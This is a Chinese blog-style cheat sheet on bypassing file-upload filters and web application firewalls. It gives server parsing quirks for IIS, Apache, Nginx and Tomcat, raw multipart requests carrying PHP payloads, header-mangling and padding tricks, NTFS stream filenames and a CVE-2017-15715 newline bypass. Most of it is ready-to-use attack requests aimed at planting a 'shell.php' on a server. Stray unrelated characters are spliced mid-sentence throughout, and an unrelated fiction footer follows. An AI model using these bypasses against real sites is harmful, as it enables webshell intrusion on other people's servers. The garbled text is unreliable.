File_Upload ByPass WAF by L0st

中間件可解析的后綴

語言 可解析后綴
asp/aspx asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

中間件漏洞

IIS

  1. IIS6.0文件解析 xx.asp;.jpg
  2. IIS6.0目錄解析 xx.asp/1.jpg
  3. IIS 7.0畸形解析 xxx.jpg/x.asp

Apache

  1. %0a(CVE-2017-15715)
  2. 未知后綴 test.php.xxx

Nginx

  1. 訪問連接加/xxx.php test.jpg/xxx.php
  2. 畸形解析漏洞 test.jpg%00xxx.php或test.jpg%20.php
  3. CVE-2013-4547 test.jpg(非編碼空格)\0x.php

Tomcat

  1. xxx.jsp/
  2. xxx.jsp%20
  3. xxx.jsp::$DATA

一個完整的Http request header:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 328
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

針對檢查Request header的bypass

一般WAF檢查兩個點:

1. Content-Disposition: form-data; name="file_x"; filename="xx.jpg"
2. Content-Type:image/gif

0x01 引號處
name 和 filename 的兩個雙引號都是可以去掉循头,也可以改成單引號对湃。

0x02 大小寫

  • Content-Disposition
  • name
  • filename
    這三個關(guān)鍵詞都可以進(jìn)行大小寫轉(zhuǎn)換

0x03 加空格
: ; = 前后加一個或多個空格(filename后的等號前不要加)

0x04 去掉或修改Content-Disposition的值
Content-Disposition: name="file_x"; filename="xx.jpg"

0x05 交換name和filename的順序
name,filename順序可以交換承边,但Content-Disposition必須在最前面

0x06 多個boundary
添加多個boundary,會上傳最后一個boundary的值,如果WAF只讀取第一個即可繞過(IIS會取第一個Content-Disposition的值)

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

0x07 多個filename
最終成功上傳shell.php,但正則匹配會匹配第一個
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="shell.php"

0x08 多個分號
文件解析時,可能解析不到文件名,導(dǎo)致繞過。
Content-Disposition: form-data; name="file_x";;; filename="test.php"

0x09 在boundary前加字符
例如
Content-Type: multipart/form-data; bypass2222233333boundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

0x10 filename換行
filename處隨意換行:
Content-Disposition: form-data; name="file_x"; fi lename="test.php"

0x11 在name和filename之間添加任意字符串
Content-Disposition: name="file_x"; bypass waf upload222333; filename="test.php";

0x12 IIS6.0下更改正文格式
可以將filename放到Content_Type下面去,如:

Content-Disposition: form-data; name="file_x"; 
Content-Type: application/octet-stream
filename="1.php"

0x13 Windows特殊字符

  1. 上傳filename為shell.php{%80-%99}
    (在burpsuite的hex模塊更改)
  2. 將[shell].php改成ascii>127的字符

0x14 NTFS ADS特性

上傳文件名 服務(wù)器表明現(xiàn)象 生成的文件內(nèi)容
test.php:a.jpg 生成test.php
test.php::$INDEX_ALLOCATION 生成test.php文件夾 Null
test.php::$DATA 生成test.php <?phpinfo;?>
test.php::$DATA.jpg 生成0.jpg <?phpinfo;?>
test.php::$DATA\aaa.jpg 生成aaa.jpg <?phpinfo;?>

0x15 不同的Boundary(IIS6.0+ASP)

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>

-----------------------------244aaaaaaaaaa5
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

0x16 數(shù)據(jù)過長導(dǎo)致繞過

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd*10000000(此處省略...); filename="1.php"
Content-Type: application/octet-stream

<?php
phpinfo();
?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

或者構(gòu)造長文件名,不一定是'.',還可以是別的符號比如中文字符和emoji耐薯,要足夠多,可能繞過文件重命名:
filename="shell.............................................................php"

針對文件內(nèi)容驗證繞過

0x01 檢測文件頭
即校驗content-type(image/gif)
常見文件頭

文件格式 文件頭
jpg jpe jpeg JPGGraphic File
gif GIF 89A
zip Zip Compressed
doc xls xlt ppt apr MS Compound Document v1 or Lotus Approach APRfile

0x02 垃圾數(shù)據(jù)
有些WAF為了效率,會對檢驗的用戶數(shù)據(jù)設(shè)置上限隘世,比如1M可柿,那么我們可以在數(shù)據(jù)包里添加垃圾數(shù)據(jù),使前1M都是垃圾數(shù)據(jù)丙者,后面的才是有效語句复斥。

-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa使勁加
<?php
phpinfo();
?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"

upload
-----------------------------24464570528145--

0x03 提交方法混淆
有些WAF的規(guī)則是:如果數(shù)據(jù)包為POST類型,則校驗數(shù)據(jù)包內(nèi)容械媒。此種情況可以上傳一個POST型的數(shù)據(jù)包目锭,抓包將POST改為GET。然后仍然傳輸POST的數(shù)據(jù)

代碼審計中的文件上傳

關(guān)注empty(),iconv(),copy()等函數(shù)

  1. iconv() 在轉(zhuǎn)換字符串編碼時會出現(xiàn)截斷問題:
    $filename="shell.php(hex).jpg" hex為0x80-0x99經(jīng)過iconv轉(zhuǎn)碼后會變成 $filename="shell.php ";
  2. file_put_contents()在寫入文件時的第二個參數(shù)可以傳入數(shù)組纷捞,如果是數(shù)組的話痢虹,將被連接成字符串再進(jìn)行寫入。在正則匹配前主儡,傳入的是一個數(shù)組奖唯。得益于PHP的弱類型特性,數(shù)組會被強(qiáng)制轉(zhuǎn)換成字符串糜值,也就是Array丰捷,Array肯定是滿足正則\A[ _a-zA-Z0-9]+\z的,所以不會被攔截寂汇。這樣就可以繞過類似檢測“<?”之類的waf
  3. 當(dāng)file_put_contents病往、copy、file_get_contents等讀取寫入操作與unlink骄瓣、file_exists等刪除判斷文件函數(shù)之間對于路徑處理的差異導(dǎo)致的刪除繞過:
<?php
$user=$_GET['user'];
var_dump($user);
echo $user['name'];
$filename = __DIR__.'\\'.$user['name'];
echo $filename;
$data = $user['info'];

file_put_contents($filename, $data);
if(file_exists($filename)){
unlink($filename);
}

當(dāng)file_put_contents和file_exists停巷、unlink等一起使用時可是導(dǎo)致繞過。
所以,linux可以通過xxxxx/../test.php畔勤、test.php/. 來繞過刪除

windows可以通過test.php:test test.ph<來繞過文件刪除

拿windows實例:

http://127.0.0.1/l.php?user[name]=2.php:test&user[info]=2y 會生成2.php

http://127.0.0.1/l.php?user[name]=2.ph<&user[info]=2y 會寫入內(nèi)容

最新的Apache(2.4.0-2.4.29)解析漏洞CVE-2017-15715(P師傅)

如今的apache以及無法解析shell.php.xxxxx類似的文件的蕾各。
利用條件:
獲取文件名時不能用$_FILES['file']['name']因為他會自動把換行去掉,這一點有點雞肋

但如果服務(wù)端是使用黑名單限制上傳文件格式的,如:

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}

我們上傳一個包含換行符的文件即可繞過,即在burpsuite中shell.php后面添加一個hex格式的0A,
然后訪問1.php%0A即可硼被。

https://joychou.org/web/bypass-waf-of-file-upload.html
https://www.freebuf.com/column/161357.html
http://www.am0s.com/functions/386.html
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末示损,一起剝皮案震驚了整個濱河市渗磅,隨后出現(xiàn)的幾起案子嚷硫,更是在濱河造成了極大的恐慌,老刑警劉巖始鱼,帶你破解...
    沈念sama閱讀 217,657評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件仔掸,死亡現(xiàn)場離奇詭異,居然都是意外死亡医清,警方通過查閱死者的電腦和手機(jī)起暮,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評論 3 394
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來会烙,“玉大人负懦,你說我怎么就攤上這事“啬澹” “怎么了纸厉?”我有些...
    開封第一講書人閱讀 164,057評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長五嫂。 經(jīng)常有香客問我颗品,道長,這世上最難降的妖魔是什么沃缘? 我笑而不...
    開封第一講書人閱讀 58,509評論 1 293
  • 正文 為了忘掉前任躯枢,我火速辦了婚禮,結(jié)果婚禮上槐臀,老公的妹妹穿的比我還像新娘锄蹂。我一直安慰自己,他們只是感情好水慨,可當(dāng)我...
    茶點故事閱讀 67,562評論 6 392
  • 文/花漫 我一把揭開白布得糜。 她就那樣靜靜地躺著,像睡著了一般讥巡。 火紅的嫁衣襯著肌膚如雪掀亩。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,443評論 1 302
  • 那天欢顷,我揣著相機(jī)與錄音槽棍,去河邊找鬼。 笑死,一個胖子當(dāng)著我的面吹牛炼七,可吹牛的內(nèi)容都是我干的缆巧。 我是一名探鬼主播,決...
    沈念sama閱讀 40,251評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼豌拙,長吁一口氣:“原來是場噩夢啊……” “哼陕悬!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起按傅,我...
    開封第一講書人閱讀 39,129評論 0 276
  • 序言:老撾萬榮一對情侶失蹤捉超,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后唯绍,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體拼岳,經(jīng)...
    沈念sama閱讀 45,561評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,779評論 3 335
  • 正文 我和宋清朗相戀三年况芒,在試婚紗的時候發(fā)現(xiàn)自己被綠了惜纸。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,902評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡绝骚,死狀恐怖耐版,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情压汪,我是刑警寧澤粪牲,帶...
    沈念sama閱讀 35,621評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站蛾魄,受9級特大地震影響虑瀑,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜滴须,卻給世界環(huán)境...
    茶點故事閱讀 41,220評論 3 328
  • 文/蒙蒙 一舌狗、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧扔水,春花似錦痛侍、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至待德,卻和暖如春君丁,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背将宪。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評論 1 269
  • 我被黑心中介騙來泰國打工绘闷, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留橡庞,地道東北人。 一個月前我還...
    沈念sama閱讀 48,025評論 2 370
  • 正文 我出身青樓印蔗,卻偏偏與公主長得像扒最,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子华嘹,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,843評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 前言 WAF(Web Application Firewall)耙厚,網(wǎng)站應(yīng)用級入侵防御系統(tǒng)强挫,通過執(zhí)行一系列針對 HT...
    泡面辦公室閱讀 2,316評論 0 7
  • 文件上傳漏洞是指用戶上傳了一個可執(zhí)行的腳本文件,并通過此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力颜曾。這種攻擊方式是最為直...
    付出從未后悔閱讀 1,144評論 0 4
  • 1.什么是解析漏洞 以其他格式執(zhí)行出腳本格式的效果纠拔。 2.解析漏洞產(chǎn)生的條件 1.命名規(guī)則 2.搭建平臺 3.常見...
    查無此人asdasd閱讀 1,861評論 0 3
  • 回到家洗了個澡躺在床上,隔壁的女生突然大叫泛豪,下雪了。雖說不喜歡下雪侦鹏,但忍不住探頭出去看看诡曙。是下雪了。 10月份...
    十一區(qū)吳良閱讀 315評論 0 0
  • 今天大盤在上周幾乎是連續(xù)跌了一周略水,本周一又繼續(xù)大跌的情況下价卤,周二終于走出低迷,超跌反彈渊涝,今天譽有千年大計慎璧,清明小長...
    王憶塵閱讀 168評論 0 1